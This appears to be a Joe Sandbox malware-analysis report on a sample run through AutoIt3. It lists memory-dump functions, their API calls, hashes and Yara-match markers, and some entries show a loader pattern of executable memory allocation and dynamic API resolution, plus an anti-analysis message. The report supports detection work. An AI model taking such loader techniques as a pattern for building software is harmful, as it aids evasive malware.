Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: _free$_wcscmp$ErrorFreeHeapLast_fseek
String ID: >>>AUTOIT SCRIPT<<<
API String ID: 1552873950-2806939583
Opcode ID: 62f277bf5de4c8ad669264c692e2a6e92eff6407fc5572adac521d3432f0b718
Instruction ID: d63bdf2492af2e8f8789baa5428c9c07af85c3216440b3a6719b2adec02083e3
Opcode Fuzzy Hash: 62f277bf5de4c8ad669264c692e2a6e92eff6407fc5572adac521d3432f0b718
Instruction Fuzzy Hash: 89514EB1904229AFDF24DF68DC41A9EBBB9FF48314F00009EF649E3241DB715A848F59

Function 0084AC2A Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 90comCOMMON

Download Yara Rule

APIs

Part of subcall function 0085FF4C: RegisterWindowMessageW.USER32(WM_GETCONTROLNAME,?,008C4186,00000001,008D0980), ref: 0085FFA7

GetStdHandle.KERNEL32(000000F6,00000000,00000000), ref: 0084AD08
OleInitialize.OLE32(00000000), ref: 0084AD85
CloseHandle.KERNEL32(00000000), ref: 00882F56

Strings

8, xrefs: 0084AC39
, xrefs: 0084AC4F

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: Handle$CloseInitializeMessageRegisterWindow
String ID: 8$
API String ID: 3815369404-2898512271
Opcode ID: c0708dd7ae84397db1e0cd3de648c50bbf498deb567e9db1030768009d38690d
Instruction ID: 39d3c1fc5a15e18ec30778fd9bf0164a0ba3891468c9d3c9739b2c59539bd2bf
Opcode Fuzzy Hash: c0708dd7ae84397db1e0cd3de648c50bbf498deb567e9db1030768009d38690d
Instruction Fuzzy Hash: 834126B0D2D3808ED359EFEDAC44659FBE5FB59330700866AE415C72B1EB302445EB62

Function 0086563D Relevance: 7.7, APIs: 5, Instructions: 163COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 0086569B
_memcpy_s.LIBCMT ref: 0086570D
__read_nolock.LIBCMT ref: 0086576B
__filbuf.LIBCMT ref: 0086578E
_memset.LIBCMT ref: 008657D2

Part of subcall function 00868D58: __getptd_noexit.LIBCMT ref: 00868D58

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: _memset$__filbuf__getptd_noexit__read_nolock_memcpy_s
String ID:
API String ID: 1559183368-0
Opcode ID: 00b866a24d890f7fe79ae922164f866efed2fee1f991de586a4896b02612db73
Instruction ID: fbb11db6de363497fecd61c96d77234d709d009e055269367f8eb458340983e3
Opcode Fuzzy Hash: 00b866a24d890f7fe79ae922164f866efed2fee1f991de586a4896b02612db73
Instruction Fuzzy Hash: C751B370A00B09DBDB248FA9D88466E77B5FF50324F268729F839D62D0DB709E50DB51

Function 008452B0 Relevance: 7.6, APIs: 5, Instructions: 99windowCOMMON

Download Yara Rule

APIs

PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 008452E6
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0084534A
TranslateMessage.USER32(?), ref: 00845356
DispatchMessageW.USER32(?), ref: 00845360

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: Message$Peek$DispatchTranslate
String ID:
API String ID: 1795658109-0
Opcode ID: a8e79306b6e26947ef7d14ae3a21eea6f3d4726645a0739ab59a4c01e1defb58
Instruction ID: beb7226f1a1d9d723e9fc2d7df3136f7633ed2b20d1f28c2c6ad36404ff4a3bf
Opcode Fuzzy Hash: a8e79306b6e26947ef7d14ae3a21eea6f3d4726645a0739ab59a4c01e1defb58
Instruction Fuzzy Hash: 8E31033090870D9FEB308FA89C44BAEB7B8FB02754F20405AE426D62D6D6A5E885E711

Function 03B941CC Relevance: 7.6, APIs: 5, Instructions: 72filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,03B94268,?,00000000,03B94288,?,?,?,?), ref: 03B9421B
GetFileSize.KERNEL32(00000000,00000000,00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,03B94268,?,00000000,03B94288), ref: 03B9422A
VirtualAlloc.KERNEL32(00000000,00000000,00001000,00000004,00000000,00000000,00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,03B94268), ref: 03B9423D
ReadFile.KERNEL32(00000000,?,?,?,00000000,00000000,00000000,00001000,00000004,00000000,00000000,00000000,80000000,00000001,00000000,00000003), ref: 03B94253
CloseHandle.KERNEL32(00000000,00000000,?,?,?,00000000,00000000,00000000,00001000,00000004,00000000,00000000,00000000,80000000,00000001,00000000), ref: 03B94259

Memory Dump Source

Source File: 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Offset: 03B61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b61000_Autoit3.jbxd

Yara matches

Similarity

API ID: File$AllocCloseCreateHandleReadSizeVirtual
String ID:
API String ID: 2717999310-0
Opcode ID: 98fd3435e9d4b886f4a7b0bbadda27b38082954490334f0a8911a9669fa281b8
Instruction ID: 18854b1054fc7ae53f4bd56883248c7833d448937dc7611f08aabac429b52e75
Opcode Fuzzy Hash: 98fd3435e9d4b886f4a7b0bbadda27b38082954490334f0a8911a9669fa281b8
Instruction Fuzzy Hash: 6811D374A54304BEE711DB758C52F6EB7ECEB09B14F6104B6FA10EA2D1E67459008660

Function 00F22411 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 88windowCOMMON

Download Yara Rule

APIs

MessageBoxA.USER32(00000000,Executing manually will not work,00F22589,00000000), ref: 00F2246E
MessageBoxA.USER32(00000000,00F225B1,00F22589,00000000), ref: 00F224E6

Strings

VyUZUiNl, xrefs: 00F2243E
Executing manually will not work, xrefs: 00F22467

Memory Dump Source

Source File: 00000009.00000002.1964905533.0000000000F17000.00000040.00000020.00020000.00000000.sdmp, Offset: 00F17000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_f17000_Autoit3.jbxd

Similarity

API ID: Message
String ID: Executing manually will not work$VyUZUiNl
API String ID: 2030045667-3440433283
Opcode ID: 9fc94743a607e51d7cb4a4ea7794fe8b92f382096e4f29b651c096a9f044043a
Instruction ID: 34747d2349c5a70192e928b7b28f524473fbbda8bcb6c90d354a330b59240c1f
Opcode Fuzzy Hash: 9fc94743a607e51d7cb4a4ea7794fe8b92f382096e4f29b651c096a9f044043a
Instruction Fuzzy Hash: 59313E34740218ABDB60EB54FC53F9DB3A5EB88700F508121F93067697D6B8FD46BA62

Function 00841284 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 59registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNEL32(80000001,Control Panel\Mouse,00000000,00000001,00000000,?,?,80000001,80000001,?,00841275,SwapMouseButtons,00000004,?), ref: 008412A8
RegQueryValueExW.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,?,?,80000001,80000001,?,00841275,SwapMouseButtons,00000004,?), ref: 008412C9
RegCloseKey.KERNEL32(00000000,?,?,?,80000001,80000001,?,00841275,SwapMouseButtons,00000004,?), ref: 008412EB

Strings

Control Panel\Mouse, xrefs: 008412A6

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: Control Panel\Mouse
API String ID: 3677997916-824357125
Opcode ID: b626bac9b3312eb90bc43097b930dfeb9731cf92e31c221c20671f2fed1a0cfe
Instruction ID: 66fa1ec37ce305b97bc01164b49ab8150cdf0d3e034c2bce7b4da5c30f114eb0
Opcode Fuzzy Hash: b626bac9b3312eb90bc43097b930dfeb9731cf92e31c221c20671f2fed1a0cfe
Instruction Fuzzy Hash: 6E11187551121CBFDF20CFA4DC88AAEBBA8FF05745F10455AE809D7214E6719E809BA0

Function 00F21F71 Relevance: 6.2, APIs: 4, Instructions: 199libraryloadermemoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00000000,00001000,00000040), ref: 00F22006
LoadLibraryA.KERNEL32(?,00000000,00000000,00001000,00000040), ref: 00F220A5
GetProcAddress.KERNEL32(00000000,?), ref: 00F22109
GetProcAddress.KERNEL32(00000000,?), ref: 00F22120

Memory Dump Source

Source File: 00000009.00000002.1964905533.0000000000F17000.00000040.00000020.00020000.00000000.sdmp, Offset: 00F17000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_f17000_Autoit3.jbxd

Similarity

API ID: AddressProc$AllocLibraryLoadVirtual
String ID:
API String ID: 857568384-0
Opcode ID: fb9426b401a4115d11a5e77acaa7f84e731fd29da044b62fc3b52b82314d03a3
Instruction ID: e8f5f7f24a379608bc8b2f2bfaeef930d951f73016478aadfae480f6ac8a7f1c
Opcode Fuzzy Hash: fb9426b401a4115d11a5e77acaa7f84e731fd29da044b62fc3b52b82314d03a3
Instruction Fuzzy Hash: F981E175900228AFDB61CF28CC81BD9B3F5FF59310F1486E5EA48A7251D774AE90AF90

Function 00855B29 Relevance: 6.1, APIs: 4, Instructions: 66timewindowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00855B58

Part of subcall function 008556F8: _memset.LIBCMT ref: 00855787
Part of subcall function 008556F8: _wcscpy.LIBCMT ref: 008557DB
Part of subcall function 008556F8: Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 008557EB

KillTimer.USER32(?,00000001,?,?), ref: 00855BAD
SetTimer.USER32(?,00000001,000002EE,00000000), ref: 00855BBC
Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 00890D7C

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: IconNotifyShell_Timer_memset$Kill_wcscpy
String ID:
API String ID: 1378193009-0
Opcode ID: b154328cd6616d3c16dd62ef02796067a7d04a64e1a0d7eca00938b3e1ffd6bf
Instruction ID: 05b71ad8c2a0e70de116990e0a78c83bcb9dccf0c5b54eef5b78311216f46fbb
Opcode Fuzzy Hash: b154328cd6616d3c16dd62ef02796067a7d04a64e1a0d7eca00938b3e1ffd6bf
Instruction Fuzzy Hash: 19210A709057849FEB729B64C8A9FEABBECFF01319F04058DE69996181C3742988DF42

Function 00F21CB5 Relevance: 6.1, APIs: 4, Instructions: 59fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,00F21D4C), ref: 00F21CFD
GetFileSize.KERNEL32(00000000,00000000,00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,00F21D4C), ref: 00F21D0C
ReadFile.KERNEL32(00000000,?,?,?,00000000,00000000,00000000,00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,00F21D4C), ref: 00F21D2B
CloseHandle.KERNEL32(00000000,00000000,?,?,?,00000000,00000000,00000000,00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000), ref: 00F21D31

Memory Dump Source

Source File: 00000009.00000002.1964905533.0000000000F17000.00000040.00000020.00020000.00000000.sdmp, Offset: 00F17000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_f17000_Autoit3.jbxd

Similarity

API ID: File$CloseCreateHandleReadSize
String ID:
API String ID: 3919263394-0
Opcode ID: deaabf3d1c177a903b227b0ba1a3f2ee7252a76c3cd6a5387d22086b5ebcc084
Instruction ID: d053d547fbb0d736ee496ba1f101e458ad32b61540e3c5546a551d2c114156df
Opcode Fuzzy Hash: deaabf3d1c177a903b227b0ba1a3f2ee7252a76c3cd6a5387d22086b5ebcc084
Instruction Fuzzy Hash: E911E078A04344BED710DBB8CC82F9A7BF8EB09310F6005A5B940E71D2D6789E40AB20

Function 00F21CBD Relevance: 6.1, APIs: 4, Instructions: 56fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,00F21D4C), ref: 00F21CFD
GetFileSize.KERNEL32(00000000,00000000,00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,00F21D4C), ref: 00F21D0C
ReadFile.KERNEL32(00000000,?,?,?,00000000,00000000,00000000,00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,00F21D4C), ref: 00F21D2B
CloseHandle.KERNEL32(00000000,00000000,?,?,?,00000000,00000000,00000000,00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000), ref: 00F21D31

Memory Dump Source

Source File: 00000009.00000002.1964905533.0000000000F17000.00000040.00000020.00020000.00000000.sdmp, Offset: 00F17000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_f17000_Autoit3.jbxd

Similarity

API ID: File$CloseCreateHandleReadSize
String ID:
API String ID: 3919263394-0
Opcode ID: d0a7932ba72c2d5aa69eccdb1589c5450bf5b4f4c1fb24c01766c2e127ca6c87
Instruction ID: b5b04c7701e35f860421bc6acf918f9e6ea6441dfafc9eb91087db1eb49d8ae0
Opcode Fuzzy Hash: d0a7932ba72c2d5aa69eccdb1589c5450bf5b4f4c1fb24c01766c2e127ca6c87
Instruction Fuzzy Hash: 27112178A40304FEE710EBB8DC82F9A77ECEB09710F604565B914E61D1D6789E50A664

Function 0085278A Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 260COMMON

Download Yara Rule

APIs

Part of subcall function 008549C2: LoadLibraryExW.KERNEL32(?,00000000,00000002,?,?,008527AF,?,00000001), ref: 008549F4

_free.LIBCMT ref: 0088FB04
_free.LIBCMT ref: 0088FB4B

Part of subcall function 008529BE: SetCurrentDirectoryW.KERNEL32(?,?,?,?,00000000), ref: 00852ADF

Strings

Bad directive syntax error, xrefs: 0088FB33

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: _free$CurrentDirectoryLibraryLoad
String ID: Bad directive syntax error
API String ID: 2861923089-2118420937
Opcode ID: 959e5e3bff50ef68094e1652b29c7cdb9d41c4dd1eac13bf2d42dd23d7ce9975
Instruction ID: 59dc95ca440a879d120835e4dea48a42480ca606510f71c12c7135a84c3502b4
Opcode Fuzzy Hash: 959e5e3bff50ef68094e1652b29c7cdb9d41c4dd1eac13bf2d42dd23d7ce9975
Instruction Fuzzy Hash: E0917F71900229AFCF04EFA8CC519EEBBB4FF05314F14452AF915EB292EB349945CB51

Function 008A9CF1 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 138COMMON

Download Yara Rule

APIs

Part of subcall function 00854AB2: __fread_nolock.LIBCMT ref: 00854AD0

_wcscmp.LIBCMT ref: 008A9DE1
_wcscmp.LIBCMT ref: 008A9DF4

Strings

FILE, xrefs: 008A9D2D

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: _wcscmp$__fread_nolock
String ID: FILE
API String ID: 4029003684-3121273764
Opcode ID: a44f01cd014be9c66b3694da4cb70649ccb16f1075f28d591c4269edb4d1a856
Instruction ID: 7a5205cf85bf4fa76776153d33a02d2f754118d670e7f011a139d798ed00e270
Opcode Fuzzy Hash: a44f01cd014be9c66b3694da4cb70649ccb16f1075f28d591c4269edb4d1a856
Instruction Fuzzy Hash: A441F871A44219BAEF21DAA8CC45FEF77BDFF46714F00047AFA00E7281D671A9488765

Function 00F223D1 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 69windowCOMMON

Download Yara Rule

APIs

MessageBoxA.USER32(00000000,Executing manually will not work,00F22589,00000000), ref: 00F2246E

Strings

VyUZUiNl, xrefs: 00F2243E
Executing manually will not work, xrefs: 00F22467

Memory Dump Source

Source File: 00000009.00000002.1964905533.0000000000F17000.00000040.00000020.00020000.00000000.sdmp, Offset: 00F17000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_f17000_Autoit3.jbxd

Similarity

API ID: Message
String ID: Executing manually will not work$VyUZUiNl
API String ID: 2030045667-3440433283
Opcode ID: 33819d6cf834b1ebdbd88752db4cd2a88932c29c5d8c67467266a16df54814b7
Instruction ID: 83261537480782b69d182c29235b4d66a315b33fe04b0526f9a1bb2d0c30f76a
Opcode Fuzzy Hash: 33819d6cf834b1ebdbd88752db4cd2a88932c29c5d8c67467266a16df54814b7
Instruction Fuzzy Hash: 6D21273065C3D06FD3529370AC33B993B608B46310FA441BAF450969D3D66D9A4BE7A3

Function 008531BF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0089032B
GetOpenFileNameW.COMDLG32(?), ref: 00890375

Part of subcall function 00860284: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00852A58,?,00008000), ref: 008602A4

Part of subcall function 008609C5: GetLongPathNameW.KERNEL32(?,?,00007FFF), ref: 008609E4

Strings

X, xrefs: 00890343

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: Name$Path$FileFullLongOpen_memset
String ID: X
API String ID: 3777226403-3081909835
Opcode ID: d1798d72a4a5238097a3fe99b8dc0840559b5101013e51ab4d9df69ccf3da376
Instruction ID: 60d9484cd04b35cbdf88f1d9a031e92311955b939098921573c801f47ef91f5a
Opcode Fuzzy Hash: d1798d72a4a5238097a3fe99b8dc0840559b5101013e51ab4d9df69ccf3da376
Instruction Fuzzy Hash: B8216271A042889BCF41DFD8C845BEE7BB8FF49315F00405AE908E7241DBB4598C9F92

Function 00F2239E Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50windowCOMMON

Download Yara Rule

APIs

MessageBoxA.USER32(00000000,Executing manually will not work,00F22589,00000000), ref: 00F2246E

Strings

VyUZUiNl, xrefs: 00F2243E
Executing manually will not work, xrefs: 00F22467

Memory Dump Source

Source File: 00000009.00000002.1964905533.0000000000F17000.00000040.00000020.00020000.00000000.sdmp, Offset: 00F17000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_f17000_Autoit3.jbxd

Similarity

API ID: Message
String ID: Executing manually will not work$VyUZUiNl
API String ID: 2030045667-3440433283
Opcode ID: d5b994d884eff8a9f4f6d34b21e1a5a9cc50bd9336193414fd409b3dde4a36ad
Instruction ID: 767143650c2d2f2b28ea5241d6f0b43e58c680b8a6b9f4402dd593d3f3bef6bc
Opcode Fuzzy Hash: d5b994d884eff8a9f4f6d34b21e1a5a9cc50bd9336193414fd409b3dde4a36ad
Instruction Fuzzy Hash: 7D01F5342883547FE791E760BC23B9977A4DB49700FA48076F410975C3D6ACDD46B663

Function 008BD1C6 Relevance: 4.9, APIs: 3, Instructions: 392COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 93b17d72e926618976943d83584c01e7c5d6d75e307e32c62ab665861c071edd
Instruction ID: 5fd167ae48b27b346751d7fb0ae0999a904edca701df122aef9a119cf8262f11
Opcode Fuzzy Hash: 93b17d72e926618976943d83584c01e7c5d6d75e307e32c62ab665861c071edd
Instruction Fuzzy Hash: 59F10571608305AFC714DF28C484A6ABBE5FB89314F14892EF899DB351E771E945CF82

Function 0086593C Relevance: 4.6, APIs: 3, Instructions: 59memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

__FF_MSGBANNER.LIBCMT ref: 00865953

Part of subcall function 0086A39B: __NMSG_WRITE.LIBCMT ref: 0086A3C2
Part of subcall function 0086A39B: __NMSG_WRITE.LIBCMT ref: 0086A3CC

__NMSG_WRITE.LIBCMT ref: 0086595A

Part of subcall function 0086A3F8: GetModuleFileNameW.KERNEL32(00000000,009053BA,00000104,00000004,00000001,00861003), ref: 0086A48A
Part of subcall function 0086A3F8: ___crtMessageBoxW.LIBCMT ref: 0086A538

Part of subcall function 008632CF: ___crtCorExitProcess.LIBCMT ref: 008632D5
Part of subcall function 008632CF: ExitProcess.KERNEL32 ref: 008632DE

Part of subcall function 00868D58: __getptd_noexit.LIBCMT ref: 00868D58

RtlAllocateHeap.NTDLL(00ED0000,00000000,00000001,?,00000004,?,?,00861003,?), ref: 0086597F

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: ExitProcess___crt$AllocateFileHeapMessageModuleName__getptd_noexit
String ID:
API String ID: 1372826849-0
Opcode ID: 905692e35913d8e914576f82c1807ca3481e4f69bbde0c7b24809caada38d197
Instruction ID: 8c64f23b0c34f51b703f1739fc5b886d01c19e94f4c9824fac2946990e9b1a04
Opcode Fuzzy Hash: 905692e35913d8e914576f82c1807ca3481e4f69bbde0c7b24809caada38d197
Instruction Fuzzy Hash: 5A01DE31256B06DAEA152B28E802B2F3758FF42770F530126F519EB292DE708D014B62

Function 03B95570 Relevance: 4.6, APIs: 3, Instructions: 57registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000002,00000000,00000000,00020119,?,?,?,?,?,03B907A9,?,00000000,03B9090C,?,?,00000000), ref: 03B955B6
RegQueryValueExA.ADVAPI32(?,00000000,00000000,?,?,00000100,80000002,00000000,00000000,00020119,?,?,?,?,?,03B907A9), ref: 03B955DD
RegCloseKey.ADVAPI32(?,80000002,00000000,00000000,00020119,?,?,?,?,?,03B907A9,?,00000000,03B9090C), ref: 03B95602

Memory Dump Source

Source File: 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Offset: 03B61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b61000_Autoit3.jbxd

Yara matches

Similarity

API ID: CloseOpenQueryValue
String ID:
API String ID: 3677997916-0
Opcode ID: 7cd14f85f83da0a3d18bbbaf71cc1f94b6c2e6f1d76bb3f8637d768f8f304ce7
Instruction ID: 5bfc1eeff60622c9a011a2c50f3dba3aaee2f786210bc862a6ffd873d10133ad
Opcode Fuzzy Hash: 7cd14f85f83da0a3d18bbbaf71cc1f94b6c2e6f1d76bb3f8637d768f8f304ce7
Instruction Fuzzy Hash: 23115275A0021C6BDB11EA95DC81FEFB7BCAF49314F0045F6EA14DB242EB749A448BA0

Function 03B94A94 Relevance: 4.6, APIs: 3, Instructions: 54fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,40000000,00000002,00000000,00000002,00000000,00000000,00000000,03B94B18,?,?,?,00000001), ref: 03B94AD9
WriteFile.KERNEL32(00000000,?,00000000,03B94B99,00000000,00000000,40000000,00000002,00000000,00000002,00000000,00000000,00000000,03B94B18), ref: 03B94AF1
CloseHandle.KERNEL32(00000000,00000000,?,00000000,03B94B99,00000000,00000000,40000000,00000002,00000000,00000002,00000000,00000000,00000000,03B94B18), ref: 03B94AFD

Memory Dump Source

